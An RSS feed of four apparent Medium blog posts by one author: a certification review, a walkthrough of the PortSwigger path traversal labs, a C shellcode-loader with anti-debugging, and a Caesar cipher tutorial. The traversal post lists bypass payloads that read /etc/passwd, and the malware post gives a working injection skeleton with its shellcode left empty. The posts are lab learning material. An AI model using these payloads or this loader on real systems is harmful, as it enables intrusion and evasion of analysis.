<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Evan Ho on Medium]]></title>
        <description><![CDATA[Stories by Evan Ho on Medium]]></description>
        <link>https://medium.com/@orangeshirtcoder?source=rss-9fb02e93ba4e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XUlAtzP6n4Inrr49VBPXnw.jpeg</url>
            <title>Stories by Evan Ho on Medium</title>
            <link>https://medium.com/@orangeshirtcoder?source=rss-9fb02e93ba4e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:47:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@orangeshirtcoder/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My PAPA (Practical AI Pentest Associate) Review]]></title>
            <link>https://medium.com/@orangeshirtcoder/my-papa-practical-ai-pentest-associate-review-2d981447e907?source=rss-9fb02e93ba4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d981447e907</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[llm-pentesting]]></category>
            <category><![CDATA[tcm-security]]></category>
            <category><![CDATA[ai-penetration-testing]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Evan Ho]]></dc:creator>
            <pubDate>Sun, 19 Jul 2026 07:04:41 GMT</pubDate>
            <atom:updated>2026-07-19T07:04:41.252Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*XSFBA8MUvd357lJolP8dLg.png" /></figure><p>Semi-recently, TCM Security released their own AI penetration testing certification — the Practical AI Pentest Associate (PAPA). With the prevalence of AI rapidly increasing, I feel an accreditation in this field would be great to have. In this blog, I will recount my experience with the course and exam, which were both great in my opinion. I’m not exactly sure what I can — and more importantly can’t — say about the exam. I wouldn’t want a trenchant email from TCM, saying they’re revoking my certification and pursuing legal action. However, I’ll try to articulate my personal experience along with any advice I have for people attempting this cert. I particularly enjoyed TCM’s style of exam; I believe they pride themselves on their realistic approach to assessing students. The exam is not CTF-like, but rather comparative to a real-world engagement.</p><h3><strong>The Course</strong></h3><p>The certification comes with two courses — AI Fundamentals 100 and AI Hacking 101. They are both instructed by Andrew Bellini, whom I thought did an incredible job at teaching the content. These two courses include roughly 10 hours worth of material.</p><p>The labs were fun and engaging, but there was one caveat — they were all self-hosted. This typically wouldn’t be a problem; however, my old laptop did not appreciate the volume of messages I was sending to Ollama.</p><p>The AI fundamentals course covered LLMs, natural language processing, neural networks, and self-hosting. Overall, it was comprehensive and engaging. Additionally, TCM Security provides access to this course for free. For a free course, the content is genuinely amazing.</p><p>For me, AI Hacking 101 is where things got interesting. Its syllabus includes:</p><ul><li>Prompt Injection</li><li>Jailbreaking</li><li>Reconnaissance</li><li>Excessive Agency</li><li>Retrieval Augmented Generation (RAG)</li><li>Harmful &amp; Wasteful Output</li><li>Role-Based Access Control</li></ul><h3><strong>Preparation for the Exam</strong></h3><p>I first began the coursework in December 2025. I figured I should finish the courses, practice for a while, then sit the exam while the content was still fresh in my mind. Instead, due to my complete lack of forward thinking, it took me until July 2026 to take the actual exam. In that period of time, I got the opportunity to participate in the TCM and TryHackMe AI CTFs, which were good preparation. TryHackMe now has an increasing amount of AI-related rooms.</p><h3>The Exam</h3><p>The exam lasts four days. You have two days to complete the penetration test and a further two days to write a professional report. You need at least 75% to pass. Since the exam is not CTF-like, I was constantly stressing about whether I had done enough to secure 75%. Honestly, I probably scraped by with a 76%. While sitting the exam, I didn’t know how many vulnerabilities were present. In the end, I methodically tested for each vulnerability covered in the course and prayed it was enough. One thing about TCM’s exams is that you don’t have to sit them under strict, proctored conditions. At one point in time, I hit a wall, so I sat on the floor of my room and watched YouTube shorts. While I don’t think this exam was too intensive, I found taking breaks to clear my head was important.</p><p>After completing the penetration test, I only took one day to write my report. Writing professionally is certainly not my strong-suit, so this was stressful for me. When you begin the exam, you are given a RoE (rules of engagement). Here, there was a template for the final report. My report had the following structure:</p><ul><li>Executive Summary</li><li>Test Details (e.g. testing period, scope, tools used)</li><li>Technical Findings</li><li>Final Notes / Conclusion</li></ul><p>For each technical finding, I wrote what it was, its severity, remediatory action, evidence of vulnerability, and steps to reproduce it.</p><p>Finally, I submitted my report. After a week of anticipation, I passed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*TxznIscSRpxfm-tmXHeNkQ.png" /></figure><p>Even though exams are inherently stressful, I found it fun. Yes, the process had its low ebbs, but even if I failed, I would have leant a lot and enjoyed taking the exam. If you’re interested in cybersecurity, I definitely recommend this certification.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d981447e907" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path Traversal on PortSwigger]]></title>
            <link>https://medium.com/@orangeshirtcoder/path-traversal-on-portswigger-bc05d8b4e796?source=rss-9fb02e93ba4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc05d8b4e796</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[path-traversal]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Evan Ho]]></dc:creator>
            <pubDate>Sat, 01 Nov 2025 08:01:22 GMT</pubDate>
            <atom:updated>2025-11-01T08:01:22.959Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve recently started working through the PortSwigger labs, and I thought in this post I would walkthrough all of the labs in relation to path traversal.</p><h3>File path traversal, simple case</h3><p>This lab requires us to use a basic path traversal vulnerability to retrieve the contents of the /etc/passwd file.</p><p>Firstly, I tried loading a product on the shop page. In the requests, we could see a request loading an image through a parameter: “filename”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*Nv6hTaaRhtmML0Rbjp2x-Q.png" /></figure><p>Since this was the first and easier lab, I thought that I could simply change the path to /etc/passwd. However, this did not work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*NocN-NyW3eD8RwigQwc_XA.png" /></figure><p>So the next obvious step is to resort to path traversal and use ../ in order to traverse back through directories into the root directory. This did allow us to access /etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*cbprIfIJ5ORiALHEhzp7yw.png" /><figcaption>I used four ../, but I realised reterospectively that only three were required.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*eitPksimuLZIcXfCueVIgA.png" /></figure><h3>File path traversal, traversal sequences blocked with absolute path bypass</h3><p>Same premise as last lab but different vulnerability. This lab calls for us to use absolute file paths (the thing I foolishly tried with no avail for the previous lab).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/549/1*9LGb_5PuENBBGJdGyJztYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*btjSa7QtL08avSF_BS0U7g.png" /></figure><h3>File path traversal, traversal sequences stripped non-recursively</h3><p>This site strips path traversal sequences from the user-supplied filename before using it. The key phrase from this lab is “non-recursively”. If the application only strips away path traversal sequences (i.e. ../) once, then we can set up a payload like this ….//….//….//etc/passwd. Since was the program removes all occurrences of ../ we are left with ../../../etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4elQfWD5bQ6J5MAtHWXffQ.png" /></figure><h3>File path traversal, traversal sequences stripped with superfluous URL-decode</h3><p>This lab properly blocks any input containing path traversal sequences. However, it also URL decodes the filename passed through. So let’s simply URL-encode the payload first (..%252f..%252f..%252fetc/passwd).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CcYU3EtZLYDc-Wx7sizUYQ.png" /></figure><h3>File path traversal, validation of start of path</h3><p>The application transmits the full file path via a request parameter, and validates that the supplied path starts with the expected folder (yes, that is verbatim from the challenge description).</p><p>To bypass this defense, we just need to ensure that the path we pass it starts with the right folder (i.e. /var/www/images). Then, we’ll get a payload like /var/www/images/../../../etc/passwd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_-cIWrIsOTpAU4TLkDS-g.png" /></figure><h3>File path traversal, validation of file extension with null byte bypass</h3><p>This application ensures all filenames end in the .png file extension. The way we’ll bypass this is also a common bypass technique for file upload vulnerabilities. Using a null byte, we can still have .png as the end of the filename, but we can ensure that it won’t affect anything.</p><p>../../../etc/passwd%00.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jwiUwFjP1FlRNMOJ54UItg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc05d8b4e796" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thought about Anti-Debugging in Malware Development]]></title>
            <link>https://medium.com/@orangeshirtcoder/thought-about-anti-debugging-in-malware-development-37fb0955ecc5?source=rss-9fb02e93ba4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/37fb0955ecc5</guid>
            <category><![CDATA[c]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Evan Ho]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 11:46:36 GMT</pubDate>
            <atom:updated>2025-06-16T11:46:36.955Z</atom:updated>
            <content:encoded><![CDATA[<p>I don’t exactly have the law committed to memory, however, just in case, for legal reasons I will say that this is for educational purposes.</p><p>Recently, I’ve been dabbling in the art of reverse engineering and malware analysis. In one instance, I had a sample that prevented me from running it with a debugger and this made me curious. So, I figured I might just try to create some malware that would also fight my debugger.</p><h3>Some Programming</h3><p>Firstly, I chose to create this in the C/C++ programming language. I started off with this code for some basic shellcode injection.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>unsigned char shellcode[] = &quot;&quot;;<br><br>int main() {<br> LPVOID address = VirtualAlloc(<br>  NULL,<br>  sizeof(shellcode),<br>  MEM_COMMIT,<br>  PAGE_EXECUTE_READWRITE<br> );<br><br> if (address == NULL) {<br>  printf(&quot;[+] Memory Allocation Failed&quot;);<br>  return 1;<br> }<br><br> CopyMemory(address, shellcode, sizeof(shellcode));<br><br> HANDLE handle = CreateThread(NULL, sizeof(shellcode), (LPTHREAD_START_ROUTINE)address, NULL, 0, NULL);<br><br> if (handle == NULL) {<br>  printf(&quot;[-] Failed To Create A New Thread For Shellcode Execution&quot;);<br>  VirtualFree(address, 0, MEM_RELEASE);<br>  return 1;<br> }<br><br> WaitForSingleObject(handle, INFINITE);<br> CloseHandle(handle);<br><br> return 0;<br>}</pre><p>Now, how can we see if there is a debugger present? Well, the Windows API has a function called IsDebuggerPresent(). I feel like what this function does is fairly self-explanatory. If there is a debugger present, a non-zero value will be returned. Otherwise, the return value is zero.</p><p>Here is some sample code on how we can use this function:</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>int main() {<br> if (IsDebuggerPresent()) {<br>  printf(&quot;[+] Debugger Present\n&quot;);<br> }<br> else {<br>  printf(&quot;[-] No Debugger Present\n&quot;);<br> }<br><br> return 0;<br>}</pre><p><strong>Output with Debugger</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1hmhqmKY9IPBL_GHAglZA.png" /></figure><p><strong>Output without Debugger</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*3h6wdlg-Iyh9ADHpDMEwpQ.png" /></figure><p>As you can see, this code can successfully detect whether or not a debugger is in use.</p><h3><strong>Conclusion</strong></h3><p>So, this is a topic that is still relatively new to me. This code can for sure detect debuggers, but how good is this technique against more experienced individuals? A quick virus total scan was able to easily detect that my program was malicious. To sum it all up: making this was a good learning experience, however, if I am ever in a red team situation I will not be relying solely on this strategy for evasion.</p><p><strong>VirusTotal Scan:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FS7V8A-D55qvRM4Hg7R3Cg.png" /></figure><p><strong>Final Code -&gt; Shellcode left out intentionally:</strong></p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>unsigned char shellcode[] = &quot;&quot;;<br><br>int main() {<br> if (IsDebuggerPresent()) {<br>  printf(&quot;[+] Debugger Present\n&quot;);<br> }<br> else {<br>  printf(&quot;[-] No Debugger Present\n&quot;);<br> }<br><br> LPVOID address = VirtualAlloc(<br>  NULL,<br>  sizeof(shellcode),<br>  MEM_COMMIT,<br>  PAGE_EXECUTE_READWRITE<br> );<br><br> if (address == NULL) {<br>  printf(&quot;[+] Memory Allocation Failed&quot;);<br>  return 1;<br> }<br><br> CopyMemory(address, shellcode, sizeof(shellcode));<br><br> HANDLE handle = CreateThread(NULL, sizeof(shellcode), (LPTHREAD_START_ROUTINE)address, NULL, 0, NULL);<br><br> if (handle == NULL) {<br>  printf(&quot;[-] Failed To Create A New Thread For Shellcode Execution&quot;);<br>  VirtualFree(address, 0, MEM_RELEASE);<br>  return 1;<br> }<br><br> WaitForSingleObject(handle, INFINITE);<br> CloseHandle(handle);<br><br> return 0;<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37fb0955ecc5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Caesar Ciphers in Python using Generators]]></title>
            <link>https://medium.com/@orangeshirtcoder/caesar-ciphers-in-python-using-generators-3713ae132a19?source=rss-9fb02e93ba4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/3713ae132a19</guid>
            <category><![CDATA[caesar-cipher]]></category>
            <category><![CDATA[python-generators]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Evan Ho]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 09:55:12 GMT</pubDate>
            <atom:updated>2025-06-16T09:55:12.403Z</atom:updated>
            <content:encoded><![CDATA[<p>Generators in Python are cool. They are special functions that return iterable objects rather than single objects. However, this post is not about explaining the purpose of generator’s in their entirety, but instead on applying them in a slightly more practical manner. Hence, we move on to the idea of creating a “Caesar cipher-er” in Python.</p><h3>Coding Stuff</h3><p>Let’s work through this step-by-step.</p><ol><li>Importing the Python “string” module -&gt; we use this module to access built in strings such as the alphabet.</li></ol><pre>import string</pre><p>2. Next, we shall get the lowercase alphabet and the uppercase alphabet. These will be used to look up each letter’s position in the alphabet.</p><pre>alphabet = string.ascii_lowercase     # &#39;abcdefghijklmnopqrstuvwxyz&#39;<br>upper_alphabet = string.ascii_uppercase  # &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;</pre><p>3. Now we will take some relevant user input (i.e. text the user wants to cipher + the shift of the cipher).</p><pre>user_input = input(&quot;Enter the text you want ciphered: &quot;)<br>shift = int(input(&quot;Enter the shift you want to use: &quot;))</pre><p>4. It is now time to actually create a generator function.</p><pre>def cipher(phrase):<br>    new_phrase = phrase<br>    for x in new_phrase:<br>        try:<br>            if x.isupper():<br>                yield upper_alphabet[(upper_alphabet.index(x) + shift) % len(upper_alphabet)]<br>            else:<br>                yield alphabet[(alphabet.index(x) + shift) % len(alphabet)]<br>        except:<br>            yield x</pre><p>Let’s break this function down:</p><ul><li>Firstly, it’s a generator function so it uses the keyword <strong>yield </strong>to return one value at a time.</li><li>Secondly, it loops through every character in the user’s input phrase.</li><li>Next, it uses Python’s .isupper() to check if the character is uppercase. If it is If <strong>uppercase</strong>, it finds the index of the letter in upper alphabet, adds the shift, and wraps around using % 26. If <strong>lowercase</strong>, it does the same but using alphabet.</li><li>Finally, if the character is not a letter (like punctuation, space, etc), a try-except block is used yield the letter as is.</li></ul><p>5. Now, for the last step we have to use know how to use this generator function to well generate our Caesar cipher.</p><pre>ciphertext = &quot;&quot;.join(x for x in cipher(user_input))<br>print(ciphertext)</pre><ul><li>The “cipher” function will return one character at a time.</li><li>We can use the .join() function in Python to then stich all of these individual letters together.</li><li>Lastly, a simple print statement to output the generated cipher.</li></ul><h3>Conclusion</h3><p>I cannot write conclusions nor can I spell “conclusions” on my first try. Hope this helped :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3713ae132a19" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>